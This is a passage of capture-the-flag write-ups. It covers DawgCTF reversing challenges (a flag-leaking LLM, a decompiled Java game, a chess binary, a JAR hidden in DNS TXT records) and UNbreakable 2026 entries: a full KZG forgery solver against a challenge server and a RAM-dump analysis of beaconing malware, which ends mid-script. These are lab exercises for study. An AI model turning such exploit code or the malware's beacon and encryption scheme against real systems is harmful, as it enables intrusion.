DawgCTF{Poppies Fish & Chips} ``` Final flag: ``` DawgCTF{Poppies Fish & Chips} ``` *** ## reven ### Machine Learnding #### Description The public repo originally pointed at a broken Google Drive folder artifact, but the repo history showed the challenge was fixed on April 10, 2026. The corrected link in `repo/Machine Learnding/gdrivelink.txt` pointed to a new `silly_fella.zip` containing a full `merged_qwen_model/` bundle. The intended solve was behavioral, matching the challenge hint: `This AI is pretty stupid, try playing around with it and see what you can uncover :)` After downloading and extracting the fixed ZIP, the model loaded cleanly and directly revealed the flag when prompted. Flag: `DawgCTF{Astr4l_Pr0j3ct_Th1s!}` #### Solution 1. Check the repo history and use the fixed Drive link, not the old truncated folder artifact. 2. Download `silly_fella.zip`. 3. Extract it: ```bash unzip -o -q silly_fella.zip ``` 4. Load the extracted model and ask it for the flag: ```python #!/usr/bin/env python3 import torch from transformers import AutoTokenizer, AutoModelForCausalLM model_dir = "merged_qwen_model" tokenizer = AutoTokenizer.from_pretrained(model_dir) model = AutoModelForCausalLM.from_pretrained( model_dir, torch_dtype=torch.float16, low_cpu_mem_usage=True, ) model.eval() torch.set_num_threads(1) prompt = "What is the DawgCTF flag?" messages = [{"role": "user", "content": prompt}] text = tokenizer.apply_chat_template( messages, tokenize=False, add_generation_prompt=True, ) inputs = tokenizer(text, return_tensors="pt") with torch.no_grad(): output = model.generate( **inputs, max_new_tokens=48, do_sample=False, temperature=None, top_p=None, ) answer = tokenizer.decode( output[0][inputs["input_ids"].shape[1]:], skip_special_tokens=False, ) print(answer) ``` Observed output: ``` DawgCTF{Astr4l_Pr0j3ct_Th1s!}. #Astr4l_Pr0j3ct_Th1s# #DawgCTF{Astr ``` The model consistently converged on the same flag across multiple prompts, including: ``` What is the DawgCTF flag? If this is a CTF challenge, what is the flag? Complete exactly: DawgCTF{ Respond with only the exact DawgCTF flag and nothing else. ``` The stable flag string was: ``` DawgCTF{Astr4l_Pr0j3ct_Th1s!} ``` ### Cheater Cheater... #### Description There's [this game called Hac-Man](https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Cheater%20Cheater) and I've been trying really hard to beat this guy's high score but I swear it's impossible! Can you help? The flag will be in the format `DawgCTF{Anyth1ngIsP0ss1bl3!}` #### Solution The local challenge directory only contained `description.md`, so the actual artifact had to be pulled from the linked GitHub challenge folder. That folder contains one file: ``` PacManForCTF.jar ``` Decompiling the jar with `javap -c -p` shows the intended trick: 1. `SimplePacMan.actionPerformed()` sets `winner = true` once `score >= 6942069`. 2. In `paintComponent()`, the win path sets the panel name to the decimal score string and then calls `getComponents()[0].revalidate()`. 3. `JTextBasket.revalidate()` uses the parent component name as a `BigInteger`, computes: ``` ((score * 10) + 1)^4 ``` 4. The decimal result is treated as a hex string for the AES key, and the reversed decimal string is treated as a hex string for the IV. 5. It decrypts the hardcoded Base64 ciphertext: ``` 6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii ``` So there is no need to play the game. We can reproduce the decryption directly using the winning score `6942069`. Exact recovery code: ```js const crypto = require('crypto'); const score = 6942069n; const value = ((score * 10n) + 1n) ** 4n; const dec = value.toString(); const rev = dec.split('').reverse().join(''); const key = Buffer.from(dec, 'hex'); const iv = Buffer.from(rev, 'hex'); const ct = Buffer.from( '6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii', 'base64' ); const decipher = crypto.createDecipheriv('aes-128-cbc', key, iv); const pt = Buffer.concat([decipher.update(ct), decipher.final()]); console.log(pt.toString('utf8')); ``` Running it prints: ``` DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!} ``` Flag: ``` DawgCTF{ch3at3R_ch34t3r_pumk1n_34t3r!} ``` ### Checkmate, Liver King #### Description Reverse the provided chess binary and recover the flag. The challenge title and runtime behavior point at the Fried Liver line, but the real trick is that the binary only prints a compact destination-only move blob before the GUI applies one final scripted reply. #### Solution The useful patch is in the engine reply path, not the GUI. The binary stores several XOR-encrypted strings with repeating key `xnasff3wcedj`. Decrypting the blobs around `0x131900` gives four checkpoint board states, a compact move string, and the success message. The encrypted data can be recovered with: ```python #!/usr/bin/env python3 KEY = b"xnasff3wcedj" targets = [ (0x131908, 0x36, "FEN1"), (0x13193E, 0x31, "FEN2"), (0x13196F, 0x34, "FEN3"), (0x1319A3, 0x30, "FEN4"), (0x131AC8, 0x16, "MOVES"), (0x131ADE, 0x2F, "MESSAGE"), ] with open("attachments/theliverking", "rb") as f: data = f.read() for off, length, name in targets: dec = bytes(data[off + i] ^ KEY[i % len(KEY)] for i in range(length)) print(name, dec.decode()) ``` That prints: ``` FEN1 r1bqkb1r/pppp1ppp/2n2n2/4p1N1/2B1P3/8/PPPP1PPP/RNBQK2R FEN2 rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R FEN3 r1bqkb1r/ppp2ppp/2n2n2/3Pp1N1/2B5/8/PPPP1PPP/RNBQK2R FEN4 r1bqkb1r/ppp2Npp/2n5/3np3/2B5/8/PPPP1PPP/RNBQK2R MOVES e4e5f3c6c4f6g5d5d5d5f7 MESSAGE You did it! The flag is your moves to get here. ``` Those checkpoints correspond to the Fried Liver line: ``` 1. e4 e5 2. Nf3 Nc6 3. Bc4 Nf6 4. Ng5 d5 5. exd5 Nxd5 6. Nxf7 ``` The important detail is that the message prints immediately after White reaches `Nxf7`, but the patched reply path still returns one more hardcoded Black move: `e8f7` (`...Kxf7`). So the printed blob is the right format, but it is missing the final on-screen move destination. The intended destination-only sequence from the actual move list on screen is therefore: ``` e4 e5 f3 c6 c4 f6 g5 d5 d5 d5 f7 f7 ``` Concatenated: ``` e4e5f3c6c4f6g5d5d5d5f7f7 ``` Final flag: ``` DawgCTF{e4e5f3c6c4f6g5d5d5d5f7f7} ``` ### Data Needs Splitting #### Description The challenge description only gave a domain: `data-needs-splitting.umbccd.net`. Direct HTTP/DNS A lookups did not return a host, but querying TXT records revealed the actual payload: a Base64-encoded JAR split across numbered DNS TXT chunks. #### Solution `data-needs-splitting.umbccd.net` had TXT records prefixed `00` through `16`. Concatenating the chunk bodies in numeric order and Base64-decoding them produced a JAR containing: ``` META-INF/ META-INF/MANIFEST.MF Loader.class Main.class assets/file.dat ``` `Main` loads `/assets/file.dat` through `Loader.defineClass(...)`. That file is another Java class, `Validator`. `Validator.validate()`: 1. Reads one input line. 2. Uses two `long` constants: * `2194307438957234483` * `148527584754938272` 3. For each character at index `i`, computes: * `a = (key1 >> ((i % 4) * 16)) & 0xffff` * `b = (key2 >> ((i % 4) * 16)) & 0xffff` * appends the decimal string of `ord(ch) ^ a ^ b` 4. Compares the concatenated decimal output against: ``` 145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169 ``` That gives four repeating XOR masks: ``` 14483, 19361, 5104, 7292 ``` Then the target decimal stream can be parsed character by character using the standard `DawgCTF{...}` flag format. Self-contained solve script: ```python #!/usr/bin/env python3 import base64 import json import urllib.request from functools import lru_cache DOMAIN = "data-needs-splitting.umbccd.net" TARGET = "145511939249997195145441944550467175145531942549987228145401943650017203145451934650207244145651934650127169" KEY1 = 2194307438957234483 KEY2 = 148527584754938272 ALLOWED = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_@!" def get_txt_chunks(domain: str): with urllib.request.urlopen( f"https://dns.google/resolve?name={domain}&type=TXT", timeout=10 ) as resp: data = json.load(resp) parts = [] for answer in data.get("Answer", []): chunk = answer["data"].strip('"') parts.append((int(chunk[:2]), chunk[2:])) return [chunk for _, chunk in sorted(parts)] def rebuild_jar(): payload_b64 = "".join(get_txt_chunks(DOMAIN)) return base64.b64decode(payload_b64) def masks(): out = [] for i in range(4): a = (KEY1 >> (i * 16)) & 0xFFFF b = (KEY2 >> (i * 16)) & 0xFFFF out.append(a ^ b) return out @lru_cache(None) def recover(pos: int, idx: int, mask_tuple): if pos == len(TARGET): return "" mask = mask_tuple[idx % 4] for ch in ALLOWED: enc = str(ord(ch) ^ mask) if TARGET.startswith(enc, pos): rest = recover(pos + len(enc), idx + 1, mask_tuple) if rest is not None: return ch + rest return None def main(): jar_data = rebuild_jar() print(f"Recovered JAR: {len(jar_data)} bytes") mask_tuple = tuple(masks()) flag = recover(0, 0, mask_tuple) print(flag) if __name__ == "__main__": main() ``` Recovered flag: ``` DawgCTF{J@v@_My_B3l0v3d} ``` ### Dust to Dust #### Description We are given `encoder.c` and `output.txt`. The encoder only implements level 1 compression, so the task is to reverse that step and reconstruct the original bitmap. #### Solution `encoder.c` reads `input.txt` as rows of `0`/`1` characters. It requires: * each row length minus the newline to be a multiple of 3 * the total number of rows to be a multiple of 2 Compression then takes each `2x3` block: ```c buffer[0] = arr[l*2][w*3]; buffer[1] = arr[l*2][w*3 + 1]; buffer[2] = arr[l*2][w*3 + 2]; buffer[3] = arr[l*2 + 1][w*3]; buffer[4] = arr[l*2 + 1][w*3 + 1]; buffer[5] = arr[l*2 + 1][w*3 + 2]; ``` It interprets those six bits as a binary number and stores it as: ```c c = (char)(0b00100000 + bin); ``` Then each compressed row is written followed by `}` and the whole file ends with `~`. So decompression is: 1. Split `output.txt` on `}` and ignore the trailing `~`. 2. For each character, compute `value = ord(ch) - 0x20`. 3. Convert `value` back to 6 bits. 4. Expand those bits back into a `2x3` block. Solver: ```python from pathlib import Path data = Path("output.txt").read_text() assert data.endswith("~") rows = data[:-1].split("}") if rows and rows[-1] == "": rows.pop() decoded = [] for row in rows: top = [] bottom = [] for ch in row: value = ord(ch) - 0x20 bits = f"{value:06b}" top.append(bits[:3]) bottom.append(bits[3:]) decoded.append("".join(top)) decoded.append("".join(bottom)) Path("recovered_bits.txt").write_text("\n".join(decoded) + "\n") height = len(decoded) width = len(decoded[0]) with open("recovered.pbm", "w") as f: f.write(f"P1\n{width} {height}\n") for line in decoded: f.write(" ".join(line) + "\n") ``` Running that reconstructs the original `198 x 100` monochrome bitmap. Rendering the PBM reveals the flag visually: `DawgCTF{Th1s_w4s_1nspIr3d_By_UND3RT4L3!}` # UNbreakable 2026 Probably my last CTF for a while. Pretty late publishing this, was same weekend as DiceCTF. ## cryptography ### toxicwaste #### Description The service implements a KZG-style opening check on the supersingular curve `y^2 = x^3 + 1` over `GF(p)`, with `p = 6q - 1` and subgroup order `q`. It publishes a shuffled SRS: * points `alpha^i * G1` for `i = 0..39` * matching coefficients of a degree-39 polynomial `A(x)` such that `A(alpha) = 0` The intended protection is the shuffle, but the curve is pairing-friendly and exposes enough structure to undo it. #### Solution Let `P_i = alpha^i * G1`. The important leak is: `sum coeff_i * P_i = 0` which means the published coefficients form a vanishing polynomial `A(x)` with root `alpha`. The only obstacle is that the tuples are shuffled. On this curve there is an efficient distortion map: `psi((x, y)) = (zeta * x, y)` where `zeta^3 = 1`, `zeta != 1` and therefore `e(P_i, psi(P_j)) = e(G1, psi(G1))^(alpha^(i+j))` So pairings let us recognize when two published points correspond to exponent addition. Using that, we recover the hidden order of the SRS points: * identify `G1 = alpha^0 * G1` * find the unique published point acting as `alpha^1 * G1` * repeatedly add exponents via pairing comparisons to walk the whole chain `alpha^0, alpha^1, ..., alpha^39` Once the order is known, the shuffled coefficients become the actual polynomial `A(x) = a_0 + a_1 x + ... + a_39 x^39` We solve `A(x) = 0` over `GF(q)` and keep the root whose powers really reproduce the published points. That gives the toxic waste `alpha`. After recovering `alpha`, the verifier is completely broken. We commit to the degree-41 polynomial: `f(x) = x^41` This is enough because the service only prints the flag when the interpolated polynomial has degree `> 40`. For a query point `z`, send: * `y = z^41 mod q` * `pi = ((alpha^41 - z^41) / (alpha - z)) * G1` Then the pairing check is exactly the KZG opening equation for `f`. Solver used: ```python from ast import literal_eval import re import socket import sys from sage.all_cmdline import * HOST = "34.159.87.224" PORT = 31838 DEG = 41 QUERIES = 100 class Tube: def __init__(self, host, port, timeout=180): self.sock = socket.create_connection((host, port)) self.sock.settimeout(timeout) self.buf = b"" def recv_until(self, token): while token not in self.buf: chunk = self.sock.recv(65536) if not chunk: raise EOFError("connection closed before token") self.buf += chunk idx = self.buf.index(token) + len(token) out = self.buf[:idx] self.buf = self.buf[idx:] return out def recv_match(self, pattern): while True: m = re.search(pattern, self.buf) if m: out = m self.buf = self.buf[m.end():] return out chunk = self.sock.recv(65536) if not chunk: raise EOFError("connection closed before regex match") self.buf += chunk def send_line(self, s): if isinstance(s, str): s = s.encode() self.sock.sendall(s + b"\n") def recv_all(self): chunks = [self.buf] self.buf = b"" while True: try: chunk = self.sock.recv(65536) except socket.timeout: break if not chunk: break chunks.append(chunk) return b"".join(chunks) def psi(E2, zeta, P): if P == 0: return P return E2((zeta * P[0], P[1])) def parse_banner(data): text = data.decode() p = int(re.search(r"p = (\d+)", text).group(1)) pub_text = re.search(r"pub = (\[.*\])\s*C = $", text, re.S).group(1) pub = literal_eval(pub_text) return p, pub def recover_alpha(p, pub): E = EllipticCurve(GF(p), [0, 1]) G1 = 6 * E.gens()[0] o = Integer(G1.order()) Fp2 = GF(p**2, "x", modulus=[1, 1, 1]) zeta = Fp2.gen() E2 = EllipticCurve(Fp2, [0, 1]) G1e = E2(G1) pts = [] coeffs = [] for (xy, coeff) in pub: pts.append(E2(E(xy))) coeffs.append(Integer(coeff) % o) basevals = [P.weil_pairing(psi(E2, zeta, G1e), o) for P in pts] lookup = {v: i for i, v in enumerate(basevals)} id_idx = pts.index(G1e) order = None for cand in range(len(pts)): cur = id_idx seq = [id_idx] seen = {id_idx} ok = True for _ in range(len(pts) - 1): nxt = lookup.get(pts[cur].weil_pairing(psi(E2, zeta, pts[cand]), o)) if nxt is None or nxt in seen: ok = False break seq.append(nxt) seen.add(nxt) cur = nxt if ok: order = seq break if order is None: raise ValueError("failed to recover point order") R = PolynomialRing(GF(o), "x") x = R.gen() A = sum(R(coeffs[order[i]]) * x**i for i in range(len(order))) alpha = None for root in A.roots(multiplicities=False): power = Integer(1) ok = True for i, idx in enumerate(order): if i > 0: power = (power * Integer(root)) % o if E2(power * G1) != pts[idx]: ok = False break if ok: alpha = Integer(root) break if alpha is None: raise ValueError("failed to identify alpha") return E, G1, o, alpha def main(): io = Tube(HOST, PORT) banner = io.recv_until(b"C = ") p, pub = parse_banner(banner) E, G1, o, alpha = recover_alpha(p, pub) commit_scalar = power_mod(alpha, DEG, o) C = Integer(commit_scalar) * G1 io.send_line(f"{int(C[0])},{int(C[1])}") for _ in range(QUERIES): m = io.recv_match(rb"z = (\d+)\r?\n") z = Integer(m.group(1).decode()) zm = z % o y = Integer(power_mod(zm, DEG, o)) if zm == alpha: proof_scalar = (DEG * power_mod(alpha, DEG - 1, o)) % o else: proof_scalar = ((commit_scalar - y) * inverse_mod(alpha - zm, o)) % o pi = Integer(proof_scalar) * G1 io.send_line(str(int(y))) io.send_line(f"{int(pi[0])},{int(pi[1])}") out = io.recv_all().decode(errors="replace") sys.stdout.write(out) if __name__ == "__main__": main() ``` Flag: `flag{Alph4_h4s_t0_b3_1nc1n3r4t3d_947a1a1e8895d3d483ab}` *** ## forensics ### RAM Vault Beacon Malware #### Description Given a Linux RAM dump (`memory.lime`) from a compromised system, recover the challenge flag. #### Solution Recovered malware source strings in RAM show the vault/key logic: * `ts_window = floor(time(NULL)/600)*600` * `ikm = SHA256(machine_id || TASK_ID || ts_window_le8 || SHA256(STAGE_ARGS_B64))` * `key = SHA256(KDF_SALT || ikm || "rocsc/vault")` * `aad = SHA256(machine_id || TASK_ID)` * Vault format: header (5 little-endian u32: version, nonce\_len, pt\_len, ct\_len, crc32\_ct) + nonce(24) + ciphertext(48) * AEAD: `XChaCha20-Poly1305`. Recovered runtime artifacts from RAM: * `TASK_ID=1bcec366-9649-4a61-8c2d-9c6b2c2a702a` * `KDF_SALT=d17025e353b5380823b9eef194ef33ad` * `STAGE_ARGS_B64=TRVnDl1dSQDmaFZohHQdYe0nqpAS+w9qgphZ9rBC7gARGbEalpjyTCw+o/KopwZzIg4OQ8W/3m7tuiOy7/74AgA=` * POST body in RAM: * `task=1bcec366-9649-4a61-8c2d-9c6b2c2a702a` * `ts=1772107800` * `fp=aa7f195dcaa55dc92809fc10278fcb13feea281ac564cd70141ba17f64bd5c5d00000000c2b6b1572b7e2b0417fd86c9819af720a80df32383d03567b93a7bb71deb27b9` * `hmac=4b322b9f3362762f829ef3b43a461fdeeba8de09d5ec3d2e98bae67235fe66fa` * Machine-id recovered by matching `SHA256(machine_id)` to the first 32 bytes of `fp`: * `machine_id=783abf8dcd8846d889fee75ae6b1046a` Reproducible solver code used: ```python #!/usr/bin/env python3 import base64 import hashlib import hmac import mmap import struct import zlib from nacl.bindings import crypto_aead_xchacha20poly1305_ietf_decrypt MEM = "memory.lime" TASK_ID = "1bcec366-9649-4a61-8c2d-9c6b2c2a702a" KDF_SALT_HEX = "d17025e353b5380823b9eef194ef33ad" STAGE_ARGS_B64 = "TRVnDl1dSQDmaFZohHQdYe0nqpAS+w9qgphZ9rBC7gARGbEalpjyTCw+o/KopwZzIg4OQ8W/3m7tuiOy7/74AgA=" TS_WINDOW = 1772107800 MACHINE_ID = "783abf8dcd8846d889fee75ae6b1046a" FP = "aa7f195dcaa55dc92809fc10278fcb13feea281ac564cd70141ba17f64bd5c5d00000000c2b6b1572b7e2b0417fd86c9819af720a80df32383d03567b93a7bb71deb27b9" HMAC_EXPECT = "4b322b9f3362762f829ef3b43a461fdeeba8de09d5ec3d2e98bae67235fe66fa" DNS_LAST_IP = bytes([66, 254, 114, 41]) # Derive key exactly as malware args_hash = hashlib.sha256(STAGE_ARGS_B64.encode()).digest() ts_le8 = struct.pack("